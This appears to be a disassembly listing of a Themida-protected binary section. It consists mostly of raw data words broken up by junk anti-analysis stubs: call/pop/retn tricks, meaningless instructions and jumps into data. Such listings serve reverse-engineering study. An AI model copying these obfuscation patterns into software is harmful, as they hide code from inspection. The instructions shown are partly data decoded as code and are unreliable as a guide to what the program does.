		dd 18860FD9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0E2F0C355h,	9E9h, 89699900h
		dd 6F91572Eh, 0BF664090h, 0F88B75F1h, 6AD98C66h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 1B30C356h, 4651D700h, 4C1F6FCh, 93840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 2999D4C3h, 0D13191BDh, 95FFF507h, 7D101C5h, 55006A5Bh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 74F779E6h, 0FBAA2C6h, 284h, 2BF28B00h, 0E78166C3h, 343D5877h
		dd 0F000008h, 2C86h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 684AFAB8h, 2CE96594h
		dd 3000000h, 0D11965B5h, 6AC08B07h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0AE29C357h
		dd 496487E6h, 8B0C927Ah, 89D88BC3h, 0D106BD95h,	4585C707h
		dd 3D07D11Fh, 6A1CE231h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 6469C356h, 0D219113Bh
		dd 998D8930h, 8B07D12Dh, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 0AD8B2E75h, 26D8F9EEh
		dd 2339BD89h, 0BD8107D1h, 7D12001h, 7D0h, 17850Fh, 810F0000h
		dd 5, 0FC3490BFh, 185FF6Eh, 2907D120h, 0D125F595h, 1B5FF07h
		dd 0F07D120h, 95FFFEBFh, 7D10055h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 3DC35040h, 0DD662223h, 9D89CCCDh
		dd 7D128F9h, 55006A90h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 912AC925h, 0EA6BC9C4h, 8D090491h
		dd 7D11AD5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	5CC35646h, 3C0F106Dh, 51D5F790h, 10BDB58Bh, 0CE807D1h
		dd 0F7000000h, 0F3265962h, 840072D2h, 668819F7h, 0BD8BF98Bh
		dd 7D124CDh, 11E95Eh, 729D0000h, 0E1DD7211h, 40F79554h
		dd 37539BFBh, 8B23FB68h, 0D1111DB5h, 7F07BF07h,	0E9510346h
		dd 0Ah,	0F344357Eh, 24A24008h, 665FB862h, 891D49BFh, 0D11ACDBDh
		dd 0B575107h, 0D131F1B5h, 95015E07h, 7D11055h, 0F18B665Fh
		dd 6840Fh, 0F7810000h, 14AF41CAh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 35C35545h, 0B1B52327h, 6A07D129h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0E8F9C350h, 66D46E0Ch, 33B0EE81h,	0B8B0Fh
		dd 0D6810000h, 198F8410h, 0E39073BEh, 0F772E903h, 9501FFFFh
		dd 7D132E1h, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0EB2AD7C3h, 4, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
		dd 66718B72h, 18CD9D89h, 858D07D1h, 7D11361h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0D0C35747h, 0B47F2BD3h
		dd 14320F66h, 48950B5h,	75B58B24h, 6A07D116h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0CE099B79h, 915B3892h, 75BD23EBh, 6A07D121h,	51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 9D03F25Eh, 6890F2Fh,	8B000000h, 0D101ADBDh, 0A4858D07h
		dd 8B07D552h, 0D107A5BDh, 8B666007h, 0D88B66C1h, 5C08361h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 8C35747h
		dd 23BF66AEh, 6E89031h,	0B8000000h, 38B64462h, 90505EBFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 6BC35747h
		dd 840491EAh, 0F47CFFBh, 6AF2BFh, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 510DD2C3h
		dd 1DE195FFh, 8B5607D1h, 0D12D65B5h, 9D8D5E07h,	7D4D566h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0CDC35747h
		dd 923343A1h, 636919BFh, 6AD3FF75h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0EC2CC357h
		dd 522D593Bh, 8A60DF0Eh, 61F28BD4h, 326DBD23h, 85FF07D1h
		dd 7D12921h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0E6C35747h, 0BBF8CFE6h,	37BE68Ah, 0D78166B4h, 37E940D4h
		dd 0E8000008h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7D552AEh
		push	0
		push	edi
		call	sub_5CB8FE
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB8FE	proc near		; CODE XREF: Themida_:005CB8F6p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5CB8FE	endp

; ---------------------------------------------------------------------------
		dw 18E4h
; ---------------------------------------------------------------------------
		popa
		aas
		mov	ch, 1Dh
		adc	[edi-22h], bl
		mov	edi, [ebp+7D1177Dh]
		jge	loc_5CB929
		jl	$+6


loc_5CB929:				; CODE XREF: Themida_:005CB91Dj
		cmp	dword ptr [ebp+7D12001h], 7D0h
		jbe	loc_5CBA7D
		push	0
		push	eax
		call	sub_5CB944
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB944	proc near		; CODE XREF: Themida_:005CB93Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5CB944	endp

; ---------------------------------------------------------------------------
		dd 0E2FD9E38h, 0F6031D66h, 8D89B8E4h, 7D119F9h,	3CD9D8Bh
		dd 6E907D1h, 2000000h, 87210B79h, 0E38179h, 6A000001h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 3FB8C350h, 0F7BEDE42h, 0FDB0BA3h,	8985h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 2308FC35h, 0C3BD833Fh, 7D550h, 41840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 6D6CB0C3h, 47E9h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0C7E9CDA8h
		dd 0D550C385h, 107h, 0D1B52B00h, 0E907D10Fh, 14h, 23118529h
		dd 85C707D1h, 7D550C3h,	0
		dd 92ECBF66h, 3CD9D8Dh,	8A0F07D1h, 6, 296D9501h, 238107D1h
		dd 0FFFFFEFFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	3EC35343h, 6800F29h, 89000000h,	0D119F985h
; ---------------------------------------------------------------------------
		pop	es


loc_5CBA7D:				; CODE XREF: Themida_:005CB933j
		mov	bx, ds
		mov	edi, [ebp+7D12E55h]
		test	bl, 4
		jz	loc_5CBAEA
		mov	[ebp+7D12CEDh],	esi
		call	dword ptr [ebp+7D101C5h]
		push	0
		push	esi
		call	sub_5CBAA6
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBAA6	proc near		; CODE XREF: Themida_:005CBA9Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5CBAA6	endp

; ---------------------------------------------------------------------------
		dw 8DCFh
; ---------------------------------------------------------------------------
		sbb	eax, 325599F8h
		xor	dl, [eax+52h]
		pop	edi
		mov	[esp], eax
		push	0
		push	ecx
		call	sub_5CBACF
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBACF	proc near		; CODE XREF: Themida_:005CBAC7p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5CBACF	endp

; ---------------------------------------------------------------------------
		db 0B0h
		dd 5F867350h, 18A9BD89h
; ---------------------------------------------------------------------------
		rol	dword ptr [edi], 1


loc_5CBAEA:				; CODE XREF: Themida_:005CBA89j
		jmp	loc_5CBF16
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5CBAFA
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBAFA	proc near		; CODE XREF: Themida_:005CBAF2p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5CBAFA	endp

; ---------------------------------------------------------------------------
		dw 0B263h
		dd 0C97F564Eh, 6461BECCh, 0B074C8h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 67C35646h, 0EE6E4679h, 666D7434h
		dd 70E6FE8Bh, 6A71E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 324A44C3h, 2D9F0681h, 0B501E548h
		dd 7D12559h, 16219D89h,	0B60F07D1h, 85BD8BD8h, 0BA07D131h
		dd 6, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h, 18h
		dd 42C35242h, 0F92C04F9h, 7CF8160h, 802B4A07h, 8B6186CEh
		dd 0BFB460C3h, 45952960h, 2907D12Dh, 0D11C7985h, 0C1616107h
		dd 6A04E8h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0B7B84CC3h, 510DD204h, 66CE7E1Ch,	8D29E2F7h
		dd 7D12E69h, 6AD82Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 84BCC2C3h, 3173FA73h, 0D12BBD8Dh
		dd 66605007h, 667A75BEh, 617315BAh, 6A241C89h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 62ADC350h, 2001B5FFh, 0BD3107D1h, 7D133FDh, 5595FFh
		dd 6A07D1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0E3853EC3h, 0F8637B1h, 0C81h, 6850F00h, 89000000h
		dd 0D11D15BDh, 6600B007h, 0B533F78Bh, 7D12465h,	71E470E6h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0CCC35343h
		dd 13E912h, 317F0000h, 0F90C292Ah, 5C17EBDEh, 0E856912Ch
		dd 29C2AAE3h, 7E954h, 7D190000h, 0F0BF5831h, 0F613C96h
		dd 23583h, 0D8B60F00h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 4EC35646h, 6BAh, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 48066027h
		dd 2A11BD8Bh, 0C38B07D1h, 1B4D8589h, 0E8C107D1h, 55006A04h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 389BC21Ch, 12E8C9AAh, 82000000h, 39468A1Bh, 450697FEh
		dd 79F64E12h, 3E140D67h, 7E99Eh, 2D030000h, 0B14E6724h
		dd 0F7665F34h, 21B501E2h, 2B07D12Eh, 0B1BD8BD8h, 5807D103h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0C3C35141h
		dd 0FE7ECC95h, 2BF9A18Eh, 5F880FD8h, 8B000001h,	0D12745BDh
		dd 7B907h, 860F0000h, 3, 83F18B66h, 8E0F00C1h, 6, 2B19BD8Bh
		dd 3BFC07D1h, 33860FD9h, 8B000001h, 0D10F4DB5h,	0D98C6607h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 4BC35747h
		dd 7F5D3BB0h, 8800FF6h,	53000000h, 31C59D01h, 0F65F07D1h
		dd 840F04C1h, 0EAh, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 4EC35343h, 0BF724BEDh, 8921AE6Ah, 0D12B89BDh
		dd 60536007h, 0B58B5B61h, 7D100C1h, 0C595FF61h,	6A07D101h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 8185C356h, 0AB8785EEh, 0BE914h, 0B49D0000h
		dd 0C76D3D4Ch, 1E40349Ah, 6A5B67h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 3F1697C3h, 0F88B8110h
		dd 6AC32Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0B50946C3h, 7D129DDh, 8343Dh, 2B860F00h
		dd 8B000000h, 0D105F5B5h, 28E907h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 2DA3C8C3h
		dd 0C08BAB44h, 1EFDB58Bh
; ---------------------------------------------------------------------------
		rol	dword ptr [edi], 1


loc_5CBF16:				; CODE XREF: Themida_:loc_5CBAEAj
		mov	eax, ebx
		mov	ebx, eax
		jmp	loc_5CBF2B
; ---------------------------------------------------------------------------
		db 0B9h
		dd 0E28155Eh, 666E8EF5h
		db 91h,	48h, 0D9h
; ---------------------------------------------------------------------------


loc_5CBF2B:				; CODE XREF: Themida_:005CBF1Aj
		mov	dword ptr [ebp+7D10191h], 55F48737h
		mov	[ebp+7D13411h],	ecx
		mov	eax, eax
		cmp	dword ptr [ebp+7D12001h], 7D0h
		jnz	loc_5CBF86
		push	0
		push	ebx
		call	sub_5CBF58
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBF58	proc near		; CODE XREF: Themida_:005CBF50p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5CBF58	endp

; ---------------------------------------------------------------------------
		dd 62011884h, 4AF89873h, 85FF58EEh, 7D12001h, 0D5958960h
		dd 107D131h, 0D1066995h
; ---------------------------------------------------------------------------
		pop	es
		popa


loc_5CBF86:				; CODE XREF: Themida_:005CBF47j
		push	dword ptr [ebp+7D12001h]
		mov	edi, [ebp+7D10815h]
		call	dword ptr [ebp+7D10055h]
		push	0
		push	ebx
		call	sub_5CBFA3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBFA3	proc near		; CODE XREF: Themida_:005CBF9Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5CBFA3	endp

; ---------------------------------------------------------------------------
		db 67h
; ---------------------------------------------------------------------------
		fistp	qword ptr ds:62CFF00Eh
		add	[ebx-2ED60E43h], ecx
		pop	es
		nop
		push	0
		push	ebx
		call	sub_5CBFCD
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBFCD	proc near		; CODE XREF: Themida_:005CBFC5p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5CBFCD	endp

; ---------------------------------------------------------------------------
		db 2 dup(0BDh),	0E6h
		dd 0C4BC82D4h, 0BE8h, 6ED4B00h,	0EC2EFC73h, 7F36129Dh
		dd 0C999D89h, 0B58B07D1h, 7D11451h, 0FAB70F5Fh,	26999D89h
		dd 6A07D1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 240901C3h, 0E5075C3h, 8B46412Dh, 0AE9F2h
		dd 84C30000h, 7F353B08h, 0D69E835Eh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 3EC35040h, 17937472h, 0A0900F34h
		dd 3161B533h, 895107D1h, 0D1019595h, 66F55E07h,	3412F681h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 22C35242h
		dd 0E91CB53Ch, 6, 320865D9h, 0BF0FEB47h, 19B58BF1h, 6A07D107h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0B203C356h, 96AC0A2Eh, 0D8BF3D84h, 8B20A4ECh
		dd 0A5B58BF7h, 6007D132h, 5067CC80h, 13E9h, 22F12D00h
		dd 1A7ED09Ch, 3D7AA206h, 8459307Bh, 0EFD5DDBEh,	0FE96058h
		dd 0BA000000h, 0F80A728Ch, 0EA5DDCACh, 0F1680D93h, 0BE66D217h
		dd 616134A9h, 0FFF7CEE9h, 0EE8166FFh, 6A6039CEh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0E811C350h, 10h, 0A5CF524h, 0F9B4722h, 0A78C8511h, 0FD0EA0CEh
		dd 16D5B58Bh, 0B95E07D1h, 0FFFFFFFEh, 68B0Fh, 858B0000h
		dd 7D113D9h, 25A98D21h,	6A07D1h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 7EE77DC3h, 7DBE6667h
		dd 38B0F9Ah, 0F000000h,	8D21C7BFh, 7D133A1h, 13E9h, 0ADDC9C00h
		dd 793A17E9h, 49B27413h, 0D4827CE8h, 8572E90Eh,	25A98D8Bh
		dd 6A07D1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 430E8EC3h, 5C881676h, 0E82F9C2Fh,	12h, 0EDEE59DAh
		dd 38B77CEBh, 7BB8D006h, 95AAEC2Dh, 5E9EF6Dh, 70000000h
		dd 0C6D9A02Fh, 1E1835Eh, 7850Fh, 0D7810000h, 4FF24BF4h
		dd 0A18D8BFCh, 0F07D133h, 0E183F8B7h, 6850F01h,	29000000h
		dd 0D1329595h, 6A606107h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 2BFEC357h, 40DE0CB8h
		dd 0FEB9DD8Ah, 89FFFFFFh, 0D12715B5h, 0CD8D2107h, 6A07D103h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0A414C350h, 0D566AA1Fh, 20E58D21h, 6A07D1h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 62F50AC3h, 8B88CEDFh, 0D103CD8Dh, 0D9BD8B07h, 8307D120h
		dd 850F01E1h, 19h, 68C0Fh, 9D290000h, 7D131B1h,	8E9h, 3B29F300h
		dd 7C47BD64h, 0E58D8B73h, 6A07D120h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0BB01C353h
		dd 1585200Dh, 0F01E183h, 2285h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 813898B3h
		dd 61D6B70Fh, 52006A60h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0FEB9D0F6h, 6AFFFFFFh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 374AC351h, 19D413D9h, 0BF66BD3Fh, 0BF0F3307h, 258D21C3h
		dd 6A07D127h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 33D1C353h, 0D113B1B5h,	0A98D2107h
		dd 6607D11Eh, 8B3983BFh, 0D127258Dh, 0DFB70F07h, 0F01E183h
		dd 2485h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0C3E922Ch, 9CBA66F9h, 0A98D8BBEh
		dd 6607D11Eh, 83F0D7B8h, 850F01E1h, 1Fh, 3129858Bh, 14E907D1h
		dd 0BA000000h, 7D5B543Fh, 0ED3A33CBh, 4BF87FBFh, 2495CB1Fh
		dd 61DA318Fh, 52006A60h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0EB815F7Ch, 3408BFE0h, 0FFFFFEB9h
		dd 51006AFFh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 9D92654Bh, 8190A168h, 56F857F3h,	8A0F78h
		dd 21000000h, 0D11F458Dh, 21C58A07h, 0D101918Dh, 0AE96007h
		dd 91000000h, 89813F8Dh, 0BD17D2F6h, 8D8B6148h,	7D11F45h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 48C35545h
		dd 1E3F2445h, 0FB19E24h, 88h, 1E18300h,	850Fh, 8D8B0000h
		dd 7D10191h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	6FC35141h, 0F0528ABAh, 559D8B32h, 8B07D125h, 0D1283585h
		dd 1E18307h, 25850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 13F5C5C3h, 0A9BD8B70h
		dd 6107D115h, 18E9h, 0B2A9B100h, 7Ch, 4	dup(0)
		dd 523E900h, 65190000h,	8701EE7Bh, 96EFDC69h, 0BFDECB58h
		dd 0CBC7B441h, 0B8E5A02Dh, 0CD5A96F4h, 0BA47A5E0h, 0A532CCCDh
		dd 8F1CD8B8h, 294401EDh, 9B19FE14h, 3522D5B3h, 0CBB89D53h
		dd 0A9930CEh, 9C817F1Dh, 8815D3AFh, 13FFFD9Bh, 0AA8F6126h
		dd 0B39F8413h, 9B2AC6C6h, 2D12EEAEh, 66305441h,	4DE4C927h
		dd 5E3A27B6h, 0C824604Dh, 28B4620Bh, 34CB6212h,	0AF7E34Fh
		dd 0F48B7088h, 0D44BBA65h, 0BEAB38B4h, 0A99623DDh, 3C290EE8h
		dd 15BEA359h, 9885BB6Ah, 847100FCh, 96D79407h, 2E1228B4h
		dd 86730097h, 95D89506h, 2F1228B4h, 28150198h, 9F59396Dh
		dd 0FD8C2308h, 0B50F5B18h, 2E6D1228h, 9EFEEBD0h, 0D4917D62h
		dd 1228B499h, 0A04B942Bh, 0C16C1071h, 365E5152h, 767F39CDh
		dd 0A1000000h, 0A0856321h, 28B488E3h, 63923D12h, 0CD368D22h
		dd 0A5039h, 640000h, 0F1444BAh,	4725B4F3h, 0A4896721h
		dd 5E0FCCB8h, 661228B5h, 0F9DE1879h, 4F3CCB62h,	0E6D2B735h
		dd 0B6303DFAh, 0BED51228h, 0B1AA1692h, 8E1DB459h, 4BAFE2A1h
		dd 0A4FB91DBh, 511CD965h, 73122964h, 0F46045DCh, 2163DA49h
		dd 33513ECBh, 43B64BE8h, 3AD1B4CCh, 0B0D4C1ADh,	31C0573Ch
		dd 87612153h, 1DD3B5A2h, 0AD434431h, 474431C8h,	9E2DC4A9h
		dd 93822DB9h, 15D3B09Dh, 0FFF99986h, 0FF228672h, 9696D77Ch
		dd 314F3CCBh, 0A4E1CEB3h, 28D3654Ah, 0E007B8F9h, 63F639CDh
		dd 18000000h, 0A2876121h, 391ED0B5h, 95F4E1CDh,	0CD2B6A57h
		dd 17C251E8h, 415131E8h, 0D941A543h, 30F7F5A5h,	8B78059Ch
		dd 33FE9B0Fh, 7300B10h,	7055EC16h, 715D42D9h, 58E70584h
		dd 0E9CE2C6Bh, 3C7DAC57h, 39CDF183h, 4A7Ah, 61219C00h
		dd 0B4F87532h, 35CC1228h, 0CFCCB99Eh, 58034C31h, 0D81072A9h
		dd 67216D4Bh, 0D1B09D89h, 33972E13h, 50F933D9h,	0D5BA4983h
		dd 28DE5218h, 59C87312h, 0CD5F5758h, 5806D39h, 7E6B02E7h
		dd 67FEE31Dh, 105D8h, 22270000h, 0B79C5235h, 3F40BC20h
		dd 363A4D72h, 0CEDDBAA7h, 29905C11h, 3AD16812h,	1E7C6955h
		dd 5E90F5E2h, 6653E279h, 3CE5CA26h, 48AC6291h, 0D74A7600h
		dd 503DCC7Dh, 9E2CB937h, 64210DECh, 19FA5D4Ah, 11FEE37Ah
		dd 0FBE87573h, 86735F9Dh, 7209EE02h, 2A41FEE3h,	5219FA5Dh
		dd 0E8D5BA36h, 20694EAAh, 9CE58675h, 8D0B02F1h,	0F24414A2h
		dd 0BE55602Eh, 0A8444431h, 3AB6D6C3h, 0EF1EC955h, 0B09C5838h
		dd 9A29C7C3h, 0C019960Dh, 3EC4419Eh, 0D8000001h, 333E2FECh
		dd 0EF8619FAh, 12808260h, 2A1703EFh, 12A98E6Ah,	0C828C683h
		dd 0B09C19F9h, 0F9C77AF3h, 2B2B8B19h, 52058DABh, 937F16ADh
		dd 9083EAA7h, 0AA4119FAh, 4B49361Bh, 553320ADh,	0C7C5B297h
		dd 563BB1D3h, 0B74328BFh, 66261D0Ch, 2986FD8Ah,	0B4419F12h
		dd 5Ah,	0EE1580D6h, 0B5084502h,	25BC9228h, 0B24E4C39h
		dd 0B46409C6h, 0C9609228h, 0D598553Ah, 0A79228B4h, 38250AE8h
		dd 69D3D05Bh, 0AAF55ABh, 77228E73h, 6611E788h, 0F49481B7h
		dd 612613F8h, 0DB69F88Fh, 0A05D49A8h, 122919ADh, 83AB6CD0h
		dd 921ECD2Bh, 3AC75E03h, 8CC2h,	1280E400h, 0B490DD9Ah
		dd 9D341228h, 412E1A06h, 2BC2A741h, 0E69BDF9Ch,	922919F9h
		dd 0C9D8B9A6h, 0F9E6610Ch, 35CC6319h, 452AB950h, 2FBC3858h
		dd 0C1A64242h, 0F9E76404h, 6CD0BC19h, 95118F81h, 4AF3EE2h
		dd 827E1E15h, 7E1C09F5h, 77069D82h, 6C58B9E9h, 0CF16A5AFh
		dd 0A3881F21h, 0C6C4D6B6h, 17AE452Ah, 0A15F3E2Bh, 0B19625BCh
		dd 542F1C08h, 0C2A74540h, 5A05942Bh, 42A7D3ABh,	1E7D6A56h
		dd 0D564FBE0h, 0A4763C18h, 64F18829h, 0EF128086h, 140E4603h
		dd 1FB619FEh, 0B14F4D3Ah, 4D4B3824h, 6706C3AFh,	5D19FE13h
		dd 4A4A37C6h, 6E0CC9AEh, 8F9565E0h, 4ED5B6A3h, 42BA049Ch
		dd 13A23949h, 282B968h,	3196FAE6h, 430715E6h, 0C104C9DFh
		dd 1DB4BDEFh, 0B4995730h, 14018E1Dh, 9F8C7874h,	311E03E1h
		dd 6EFD9452h, 32FD9C89h, 40957EB9h, 755AF144h, 6EB0988h
		dd 9D827C19h, 8CED1CC7h, 8B0AF7E3h, 62F1886Dh, 0B3D148B7h
		dd 0DDBBA835h, 8C23A1Fh, 0E4000000h, 0A8E9D6C2h, 21E1BF4Eh
		dd 0B19E837Dh, 433015D3h, 0D6C3A846h, 6B583DB3h, 0FFECD12Fh
		dd 93806583h, 2411F6F4h, 0BBA88D63h, 6F3E23D9h,	81E68956h
		dd 4C6h, 4B85000h, 29000000h, 348758C6h, 0EA685C24h, 8900001Dh
		dd 0D8682414h, 8900000Ah, 1C682434h, 8900005Ah,	7E68240Ch
		dd 59319714h, 4B76F181h, 0CA893642h, 348B5459h,	4C48324h
		dd 2AB85052h, 295C9658h, 58042444h, 8108468Fh, 582A0846h
		dd 348B5C96h, 0E6895624h, 4C681h, 0C6830000h, 24348704h
		dd 2434FF5Ch, 4C4815Ah,	0E9000000h, 0FFFC1A58h,	63AEB8AAh
		dd 0C50307D5h, 0E7FE0FFh, 7D2B309Bh, 0B16B7F9Bh, 66FC7386h
		dd 0CB661AE7h, 0EC470BC5h, 319F085Ah, 0D2643511h, 4E102BEh
		dd 0A19D513Eh, 8575377Eh, 720A67A4h, 564122C7h,	5905759Ch
		dd 230B5503h, 176D0449h, 75155678h, 0DD8552E2h,	60C8707Dh
		dd 8D1C7409h, 4A475DCDh, 8B252724h, 45CD2B94h, 0A4242075h
		dd 0A287522Ch, 2C42791Eh, 69D627C8h, 6A605CF1h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 5B33C352h, 0F0DDFB02h, 8BBC1064h, 0D1019995h, 185C707h
		dd 0D007D120h, 6A000007h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 6BAEC352h, 65897E31h
		dd 66544438h, 6A61D38Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0F961C350h,	5858B99h
		dd 0EB07D128h, 0E99D6107h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5CCB73
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CCB73	proc near		; CODE XREF: Themida_:005CCB6Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5CCB73	endp

; ---------------------------------------------------------------------------
		db 46h
		dd 0C9A41EBFh, 5D0D268Bh, 12E9h, 61676D00h, 0C3754C6Ch
		dd 98E1694h, 0E383F99Bh, 6A554417h, 3E85700h, 20000000h
